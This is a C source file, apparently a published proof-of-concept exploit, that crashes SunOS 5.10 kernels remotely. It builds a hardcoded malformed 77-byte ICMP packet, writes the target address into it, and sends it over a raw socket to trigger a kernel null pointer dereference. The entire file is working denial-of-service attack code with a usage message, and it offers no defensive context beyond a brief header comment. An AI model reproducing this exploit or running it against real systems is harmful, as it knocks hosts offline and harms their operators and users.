/*
 SunOS 5.10 Remote ICMP Kernel Crash Exploit by kcope
 Null Pointer Dereference in Kernel Space
 Seems to work only if attacked in the same network segment,
 maybe because of firewalls/routers in place.
 
 This seems to be the issue described in bid 22323.
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

unsigned char rawData[77] =
{
    0x45, 0xFF, 0x00, 0x4D, 0x0C, 0x52, 0x00, 0x00, 0x7E, 0x01, 0x0C, 0xF2, 0xE0, 0x5A, 0x73, 0x12,
    0xC0, 0xA8, 0x0E, 0x58, 0x08, 0xDE, 0xAE, 0x37, 0x6F, 0x3B, 0x66, 0xA7, 0x60, 0xAA, 0x76, 0xC1,
    0xEC, 0xA7, 0x7D, 0xFA, 0x8A, 0x72, 0x8E, 0xC6, 0xE3, 0xD2, 0x64, 0x13, 0xE7, 0x4D, 0xBC, 0x01,
    0x40, 0x5B, 0x8E, 0x8B, 0xE5, 0xEE, 0x5E, 0x37, 0xDD, 0xC2, 0x54, 0x8E, 0x8D, 0xCE, 0x0C, 0x42,
    0x97, 0xA1, 0x8C, 0x04, 0x8A, 0xC2, 0x6B, 0xAE, 0xE9, 0x2E, 0xFE, 0xD4, 0x4B,
} ;

long resolve(char *host)
{
  struct hostent *hst;
  long addr;

  hst = gethostbyname(host);
  if (hst == NULL)
    return(-1);

  memcpy(&addr, hst->h_addr, hst->h_length);
  memcpy(rawData+16, &addr, sizeof(long));

  return(addr);
}

int main(int argc, char *argv[])
{
  struct sockaddr_in dst;
  long saddr, daddr;
  int s;

  if (argc < 2)
  {
    printf("SunOS 5.10 Remote ICMP Kernel Crash Exploit by kcope\n");
    printf("Usage: %s <dst>\n", *argv);
    return(1);
  }

  daddr = resolve(argv[1]);
  saddr = INADDR_ANY;

  memcpy(rawData+16, &daddr, sizeof(long));
//  memcpy(rawData+12, &saddr, sizeof(long));

  dst.sin_addr.s_addr = daddr;
  dst.sin_family = AF_INET;

  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s == -1)
    return(1);

  printf("Sending ICMP packet: %s\n", argv[1]);

      if (sendto(s,&rawData,77,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
      {
        perror("Error sending packet");
        exit(-1);
      }

  return(0);
}